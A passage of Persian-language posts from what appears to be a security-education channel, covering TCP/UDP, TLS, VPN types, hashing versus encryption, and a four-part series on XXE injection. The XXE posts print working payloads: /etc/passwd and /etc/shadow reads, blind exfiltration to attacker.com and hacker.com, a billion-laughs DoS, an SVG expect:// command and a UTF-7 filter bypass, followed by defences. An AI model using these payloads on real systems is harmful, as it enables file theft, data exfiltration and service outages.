* با Netcat، Nmap یا ابزارهای مشابه انجام میشه.
* برای تست امنیت و پیدا کردن سرویس‌ها.

———————————————————————————————
🔹 TCP vs UDP

TCP:
ارتباط مطمئن و دارای چک‌کردن ارسال و دریافت (مانند HTTP, FTP).
UDP:
سریع‌تر ولی بدون تضمین تحویل (مانند DNS, VoIP).

———————————————————————————————
🔹 SSL/TLS

پروتکل‌هایی هستند که ارتباط رو رمزگذاری می‌کنند تا داده‌ها وسط راه قابل خواندن نباشند.

* کاربرد: HTTPS، ایمیل امن، شل امن (Bind یا Reverse).
* در Socat و OpenSSL برای ساخت شل یا تونل امن استفاده میشه.


✍️نویسنده
@TryHackBox| احسان آخوندی

#pwk #CyberSecurity
🔥64👍4
📌 حملات XXE (تزریق XML) - بخش اول

🔹حمله XXE چیست؟
حملۀ XXE (XML External Entity Injection) یک آسیب‌پذیری امنیتی در پردازش داده‌های XML است که به مهاجم اجازه می‌دهد به فایل‌های سیستم سرور دسترسی پیدا کند یا با سیستم‌های backend تعامل داشته باشد. در برخی موارد، این آسیب‌پذیری می‌تواند منجر به حمله‌های جعل درخواست سمت سرور (SSRF) یا حتی اختلال در سرویس (DoS) شود.

🔹 انواع حملات XXE
1. استخراج فایل‌ها (مثلاً خواندن /etc/passwd)
2. حملات SSRF (ارسال درخواست به سیستم‌های داخلی)
3. انتقال داده‌ها به صورت خارج از باند (OOB)
4. استخراج داده از طریق پیام‌های خطا

🔹 مثال ساده از XXE:
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<foo>&xxe;</foo>

در این مثال، مهاجم محتوای فایل /etc/passwd را می‌خواند.

ادامه در بخش بعدی...

✍️نویسنده
@TryHackBox | The Chaos

#XXE #SSRF #CyberSecurity
🔥41
📌 حملات XXE (تزریق XML) - بخش دوم

🔹 حملات پیشرفته XXE

1. حملات Blind XXE (انتقال داده به صورت خارج از باند)
در برخی موارد، برنامه پاسخ مستقیمی نشان نمی‌دهد، اما مهاجم می‌تواند داده‌ها را به یک سرور تحت کنترل خود منتقل کند.

مثال:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "file:///etc/passwd">
<!ENTITY blind SYSTEM "http://attacker.com/?%xxe;">
]>
<foo>&blind;</foo>

در این حالت، محتوای /etc/passwd به سرور مهاجم ارسال می‌شود.

2. دور زدن کنترل‌های دسترسی (PHP Example)
با استفاده از فیلترهای PHP، می‌توان فایل‌های محدودشده را خواند:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY ac SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/shadow">
]>
<foo>&ac;</foo>

(در این مثال، فایل /etc/shadow به صورت base64 کدگذاری و خوانده می‌شود.)

3. حملات DoS با XXE
بعضی از payloadهای XXE می‌توانند باعث مصرف بیش از حد منابع سرور شوند:
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
...
]>
<lolz>&lol9;</lolz>

این حمله باعث ایجاد حجم زیادی از داده‌های تکراری و crash سرور می‌شود.

ادامه در بخش سوم...

✍️نویسنده
@TryHackBox | The Chaos

#XXE #BlindAttack #CyberSecurity
4👍1
📌 حملات XXE (تزریق XML) - بخش سوم 

🔹 حملات پیشرفته XXE (ادامه) 

4. استفاده از XXE در فایل‌های SVG (حملات از طریق تصاویر) 
فایل‌های SVG مبتنی بر XML هستند و می‌توانند حاوی payloadهای XXE باشند: 
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" height="200">
    <image xlink:href="expect://id"></image>
</svg>

اگر سایتی آپلود SVG را بدون فیلتر کردن اجازه دهد، این payload می‌تواند دستورات سیستم را اجرا کند. 

5. استفاده از XXE در پروتکل SOAP (سرویس‌های وب) 
در APIهای SOAP-based نیز می‌توان از XXE سوءاستفاده کرد: 
<soap:Body>
  <foo>
    <![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://attacker.com/"> %dtd;]><xxx/>]]>
  </foo>
</soap:Body>

این payload درخواستی به سرور مهاجم ارسال می‌کند. 

6. استفاده از کدگذاری UTF-7 برای دور زدن فیلترها 
بعضی سیستم‌ها فقط UTF-8 را پردازش می‌کنند، اما با UTF-7 می‌توان برخی فیلترها را دور زد: 
<?xml version="1.0" encoding="UTF-7"?>
+ADwAIQ-DOCTYPE foo+AFs +ADwAIQ-ELEMENT foo ANY +AD4
+ADwAIQ-ENTITY xxe SYSTEM +ACI-http://hacker.com/+ACI +AD4AXQA+
+ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4


🔹 جمع‌بندی بخش سوم 
- درون SVGها می‌توانند حاوی XXE باشند. 
-حتی APIهای SOAP نیز در معرض خطرند. 
- با تغییر کدگذاری (مثل UTF-7) می‌توان برخی فیلترها را دور زد. 

ادامه در بخش چهارم (پیشگیری و دفاع)...

✍️نویسنده
@TryHackBox | The Chaos

#XXE #SVG #Payload #CyberSecurity
👍52
📌 حملات XXE (تزریق XML) - بخش چهارم (پایانی) 

🔹 روش‌های پیشگیری و دفاع در برابر XXE 

1. غیرفعال کردن پردازش موجودیت‌های خارجی (External Entities) 
در اکثر پردازشگرهای XML (مثل PHP, Java, .NET)، می‌توان این ویژگی را غیرفعال کرد: 

مثال در PHP: 
libxml_disable_entity_loader(true);


مثال در Python (lxml): 
parser = etree.XMLParser(resolve_entities=False)


2. استفاده از Whitelisting برای ورودی‌های XML 
- فقط اجازه‌دهید المان‌ها و attributeهای مورد اعتماد پردازش شوند. 
- از اسکیماهای معتبر (XSD) برای اعتبارسنجی ساختار XML استفاده کنید. 

3. فیلتر کردن محتوای خطرناک 
- بلوک کردن <!DOCTYPE و <!ENTITY در ورودی کاربر. 
- مسدود کردن پروتکل‌های خطرناک مثل file://, php://, expect://

4. به‌روزرسانی کتابخانه‌های پردازش XML 
بسیاری از آسیب‌پذیری‌های XXE در نسخه‌های قدیمی کتابخانه‌ها (مثل libxml2) وجود دارند. 

5. استفاده از فرمت‌های جایگزین (JSON به جای XML) 
در بسیاری از موارد، استفاده از JSON به جای XML می‌تواند خطر XXE را حذف کند. 

🔹 نتیجه‌گیری 
حملات XXE می‌توانند منجر به خواندن فایل‌های حساس، حملات SSRF و حتی اختلال در سرویس (DoS) شوند. با غیرفعال کردن موجودیت‌های خارجی و اعتبارسنجی دقیق ورودی‌ها، می‌توان از این حملات جلوگیری کرد. 

امن‌تر کدنویسی کنید!  

✍️نویسنده
@TryHackBox | The Chaos

#XXE #Prevention #CyberSecurity
5
🔐 راهکارهای امن VPN و کاربردهای آنها

☁️ Cloud VPN
کاربران را به منابع مبتنی بر فضای ابری متصل می‌کند.
🔒 IPsec VPN
ارتباطات IP را از طریق تونل‌های امن رمزگذاری می‌کند.
🌐 SSL VPN
دسترسی امن به شبکه را از طریق مرورگر فراهم می‌کند.
💻 Client-Based VPN
برای دسترسی از راه دور، نیاز به نصب نرم‌افزار دارد.
🏢 Site-to-Site VPN
شبکه‌های مختلف را برای ارتباط ایمن به هم متصل می‌کند.
🏠 Remote Access VPN
کاربران را به شبکه‌های خصوصی متصل می‌کند.

💡 نکته کلیدی:
انتخاب نوع مناسب VPN (برای دورکاری، اتصال شعب یا یکپارچه‌سازی با ابر) می‌تواند استراتژی امنیتی شما را متحول کند!

✍️نویسنده
@TryHackBox | The Chaos

#NetworkSecurity #VPN #Cybersecurity #Networking
4
🔐 راهکارهای VPN و نکات کلیدی امنیتی

☁️ Cloud VPN

کاربرد: اتصال ایمن به سرویس‌های ابری مانند AWS یا Azure

امنیت: استفاده از احراز هویت دو مرحله‌ای و رمزنگاری قوی برای محافظت از داده‌های حساس

🔒 IPsec VPN

کاربرد: ایجاد تونل امن بین دستگاه‌های ثابت (ادارات/شعب)

امنیت: پیاده‌سازی IKEv2 با رمزنگاری AES-256 برای جلوگیری از استراق سمع

🌐 SSL VPN

کاربرد: دسترسی امن از طریق مرورگر بدون نیاز به نصب کلاینت

امنیت: فعالسازی احراز هویت چندعاملی و محدود کردن دسترسی بر اساس نقش کاربران

💻 Client-Based VPN

کاربرد: اتصال ایمن کارمندان دورکار به شبکه سازمان

امنیت: نصب آنتی‌ویرس روی کلاینت‌ها و استفاده از قابلیت Kill Switch

🏢 Site-to-Site VPN

کاربرد: ارتباط امن بین دفاتر مختلف یک سازمان

امنیت: مانیتورینگ مداوم ترافیک و استفاده از فایروال بین شبکه‌ها

🏠 Remote Access VPN

کاربرد: دسترسی کارمندان به منابع داخلی از راه دور

امنیت: محدود کردن دسترسی با Zero Trust و زمان‌بندی Sessionها

🔰 نکات طلایی امنیتی:
همیشه از پروتکل‌های به‌روز (مانند WireGuard) استفاده کنید
دسترسی VPN را فقط به IPهای مورد اعتماد محدود نمایید
لاگ‌های اتصالات را به صورت مداوم بررسی کنید

✍️نویسنده
@TryHackBox | The Chaos

#NetworkSecurity #VPN #Cybersecurity #Networking
5👎1
🔐 تفاوت Encoding، Encryption و Hashing در یک نگاه

📌 Encoding (کدگذاری)
▫️ چیست؟ تبدیل داده به قالبی دیگر (به صورت معکوس‌پذیر)
▫️ هدف: حفظ قابلیت استفاده از داده
▫️ موارد استفاده: انتقال و ذخیره‌سازی داده
▫️ مثال‌ها:
- ASCII
- Unicode
- Base64

🔒 Encryption (رمزنگاری)
▫️ چیست؟ تبدیل داده به فرمتی ناخوانا با استفاده از کلید
▫️ هدف: محرمانه نگه داشتن اطلاعات
▫️ موارد استفاده: محافظت از داده‌ها در انتقال و ذخیره‌سازی
▫️ مثال‌ها:
- AES
- RSA
- Diffie-Hellman

🔑 Hashing (هش کردن)
▫️ چیست؟ تولید یک خروجی ثابت (هش) از داده با استفاده از الگوریتم
▫️ هدف: تأمین یکپارچگی داده‌ها
▫️ موارد استفاده: ذخیره‌سازی امن پسوردها
▫️ مثال‌ها:
- MD5 (ناامن)
- SHA-256
- SHA-3

💡 نکته امنیتی:
- Encoding امنیت ایجاد نمی‌کند!
- برای داده‌های حساس همیشه از رمزنگاری استفاده کنید.
- هش‌های ضعیف (مثل MD5) برای پسوردها مناسب نیستند.

✍️نویسنده
@TryHackBox | The Chaos

#Encryption #Cybersecurity #Hash
❤‍🔥5